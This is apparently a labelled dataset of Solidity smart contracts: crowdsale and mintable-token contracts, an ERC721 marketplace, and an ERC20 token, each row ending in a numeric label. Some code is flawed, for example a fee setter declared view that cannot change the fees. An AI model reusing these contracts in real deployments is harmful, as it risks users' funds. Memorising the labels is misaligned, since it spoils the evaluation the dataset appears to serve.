function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
address public tier;
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function updateRate(uint newOneTokenInWei) public;
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
bool public reservedTokensAreDistributed = false;
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function distributeReservedTokens(uint reservedTokensDistributionBatch);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
string public name;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
bool public finalized;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint8 public joinedCrowdsalesLen = 0;
uint8 public joinedCrowdsalesLenMax = 50;
struct JoinedCrowdsaleStatus {
bool isJoined;
uint8 position;
}
mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
address[] public whitelistedParticipants;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Whitelisted(address addr, bool status, uint minCap, uint maxCap);
event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
name = _name;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount);
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function invest(address addr) public payable {
investInternal(addr, 0);
}
function buy() public payable {
invest(msg.sender);
}
function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch);
}
}
function areReservedTokensDistributed() public constant returns (bool) {
return finalizeAgent.reservedTokensAreDistributed();
}
function canDistributeReservedTokens() public constant returns(bool) {
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true;
return false;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) public onlyOwner {
assert(address(addr) != address(0));
assert(address(finalizeAgent) == address(0));
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(maxCap > 0);
assert(minCap <= maxCap);
assert(now <= endsAt);
if (!isAddressWhitelisted(addr)) {
whitelistedParticipants.push(addr);
Whitelisted(addr, status, minCap, maxCap);
} else {
WhitelistItemChanged(addr, status, minCap, maxCap);
}
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
}
function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner {
if (!isWhiteListed) throw;
assert(now <= endsAt);
assert(addrs.length == statuses.length);
assert(statuses.length == minCaps.length);
assert(minCaps.length == maxCaps.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private {
if (!isWhiteListed) throw;
if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought);
}
}
function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(now <= endsAt);
assert(isTierJoined(msg.sender));
if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function isAddressWhitelisted(address addr) public constant returns(bool) {
for (uint i = 0; i < whitelistedParticipants.length; i++) {
if (whitelistedParticipants[i] == addr) {
return true;
break;
}
}
return false;
}
function whitelistedParticipantsLength() public constant returns (uint) {
return whitelistedParticipants.length;
}
function isTierJoined(address addr) public constant returns(bool) {
return joinedCrowdsaleState[addr].isJoined;
}
function getTierPosition(address addr) public constant returns(uint8) {
return joinedCrowdsaleState[addr].position;
}
function getLastTier() public constant returns(address) {
if (joinedCrowdsalesLen > 0)
return joinedCrowdsales[joinedCrowdsalesLen - 1];
else
return address(0);
}
function setJoinedCrowdsales(address addr) private onlyOwner {
assert(addr != address(0));
assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax);
assert(!isTierJoined(addr));
joinedCrowdsales.push(addr);
joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({
isJoined: true,
position: joinedCrowdsalesLen
});
joinedCrowdsalesLen++;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner {
assert(addrs.length > 0);
assert(joinedCrowdsalesLen == 0);
assert(addrs.length <= joinedCrowdsalesLenMax);
for (uint8 iter = 0; iter < addrs.length; iter++) {
setJoinedCrowdsales(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(time <= endsAt);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = 0; j < tierPosition; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time >= crowdsale.endsAt());
}
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(startsAt <= time);
assert(now <= endsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time <= crowdsale.startsAt());
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner {
assert(address(_pricingStrategy) != address(0));
assert(address(pricingStrategy) == address(0));
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else return State.Failure;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
bool isReserved;
bool isDistributed;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
bool reservedTokensDestinationsAreSet = false;
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
function finalizeReservedAddress(address addr) public onlyMintAgent canMint {
ReservedTokensData storage reservedTokensData = reservedTokensList[addr];
reservedTokensData.isDistributed = true;
}
function isAddressReserved(address addr) public constant returns (bool isReserved) {
return reservedTokensList[addr].isReserved;
}
function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) {
return reservedTokensList[addr].isDistributed;
}
function getReservedTokens(address addr) public constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(
address[] addrs,
uint[] inTokens,
uint[] inPercentageUnit,
uint[] inPercentageDecimals
) public canMint onlyOwner {
assert(!reservedTokensDestinationsAreSet);
assert(addrs.length == inTokens.length);
assert(inTokens.length == inPercentageUnit.length);
assert(inPercentageUnit.length == inPercentageDecimals.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
if (addrs[iterator] != address(0)) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
reservedTokensDestinationsAreSet = true;
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner {
assert(addr != address(0));
if (!isAddressReserved(addr)) {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
}
reservedTokensList[addr] = ReservedTokensData({
inTokens: inTokens,
inPercentageUnit: inPercentageUnit,
inPercentageDecimals: inPercentageDecimals,
isReserved: true,
isDistributed: false
});
}
}
contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
string public name;
string public symbol;
uint public decimals;
uint public minCap;
function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
minCap = _globalMinCap;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw;
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
function claimTokens(address _token) public onlyOwner {
require(_token != address(0));
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
}
contract ReservedTokensFinalizeAgent is FinalizeAgent {
using SafeMathLibExt for uint;
CrowdsaleTokenExt public token;
CrowdsaleExt public crowdsale;
uint public distributedReservedTokensDestinationsLen = 0;
function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public {
token = _token;
crowdsale = _crowdsale;
}
function isSane() public constant returns (bool) {
return (token.releaseAgent() == address(this));
}
function distributeReservedTokens(uint reservedTokensDistributionBatch) public {
assert(msg.sender == address(crowdsale));
assert(reservedTokensDistributionBatch > 0);
assert(!reservedTokensAreDistributed);
assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen());
uint tokensSold = 0;
for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) {
CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i));
tokensSold = tokensSold.plus(tier.tokensSold());
}
uint startLooping = distributedReservedTokensDestinationsLen;
uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen);
if (batch >= reservedTokensDistributionBatch) {
batch = reservedTokensDistributionBatch;
}
uint endLooping = startLooping + batch;
for (uint j = startLooping; j < endLooping; j++) {
address reservedAddr = token.reservedTokensDestinations(j);
if (!token.areTokensDistributedForAddress(reservedAddr)) {
uint allocatedBonusInPercentage;
uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr);
uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr);
uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr);
if (percentsOfTokensUnit > 0) {
allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100;
token.mint(reservedAddr, allocatedBonusInPercentage);
}
if (allocatedBonusInTokens > 0) {
token.mint(reservedAddr, allocatedBonusInTokens);
}
token.finalizeReservedAddress(reservedAddr);
distributedReservedTokensDestinationsLen++;
}
}
if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) {
reservedTokensAreDistributed = true;
}
}
function finalizeCrowdsale() public {
assert(msg.sender == address(crowdsale));
if (token.reservedTokensDestinationsLen() > 0) {
assert(reservedTokensAreDistributed);
}
token.releaseTokenTransfer();
}
} | 1 | 3,374 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract Bussiness is Ownable {
IERC721 public erc721Address = IERC721(0x5d00d312e171be5342067c09bae883f9bcb2003b);
ERC20BasicInterface public usdtToken = ERC20BasicInterface(0xdAC17F958D2ee523a2206206994597C13D831ec7);
uint256 public ETHFee = 2;
uint256 public HBWALLETFee = 1;
uint256 public balance = address(this).balance;
constructor() public {}
struct Price {
address tokenOwner;
uint256 price;
uint256 fee;
}
mapping(uint256 => Price) public prices;
mapping(uint256 => Price) public usdtPrices;
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _usdtPrice) public {
require(erc721Address.ownerOf(_tokenId) == msg.sender);
prices[_tokenId] = Price(msg.sender, _ethPrice, 0);
usdtPrices[_tokenId] = Price(msg.sender, _usdtPrice, 0);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice) public payable {
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 ethfee;
if(prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / 100;
require(msg.value == ethfee);
ethfee += prices[_tokenId].fee;
} else ethfee = _ethPrice * ETHFee / 100;
prices[_tokenId] = Price(msg.sender, _ethPrice, ethfee);
}
function removePrice(uint256 tokenId) public returns (uint256){
require(erc721Address.ownerOf(tokenId) == msg.sender);
if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee);
resetPrice(tokenId);
return prices[tokenId].price;
}
function getPrice(uint256 tokenId) public returns (address, address, uint256, uint256){
address currentOwner = erc721Address.ownerOf(tokenId);
if(prices[tokenId].tokenOwner != currentOwner){
resetPrice(tokenId);
}
return (currentOwner, prices[tokenId].tokenOwner, prices[tokenId].price, usdtPrices[tokenId].price);
}
function setFee(uint256 _ethFee, uint256 _hbWalletFee) public view onlyOwner returns (uint256 ETHFee, uint256 HBWALLETFee){
require(_ethFee > 0 && _hbWalletFee > 0);
ETHFee = _ethFee;
HBWALLETFee = _hbWalletFee;
return (ETHFee, HBWALLETFee);
}
function withdraw(address _address, uint256 amount) public onlyOwner {
require(_address != address(0) && amount > 0 && address(this).balance > amount);
_address.transfer(amount);
}
function buy(uint256 tokenId) public payable {
require(erc721Address.getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyByUsdt(uint256 tokenId) public {
require(usdtPrices[tokenId].price > 0 && erc721Address.getApproved(tokenId) == address(this));
require(usdtToken.transferFrom(msg.sender, usdtPrices[tokenId].tokenOwner, usdtPrices[tokenId].price));
erc721Address.transferFrom(usdtPrices[tokenId].tokenOwner, msg.sender, tokenId);
resetPrice(tokenId);
}
function resetPrice(uint256 tokenId) private {
prices[tokenId] = Price(address(0), 0, 0);
usdtPrices[tokenId] = Price(address(0), 0, 0);
}
} | 1 | 2,814 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ES_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "ES TOKEN";
string public symbol = "ES";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 100000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 4,719 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
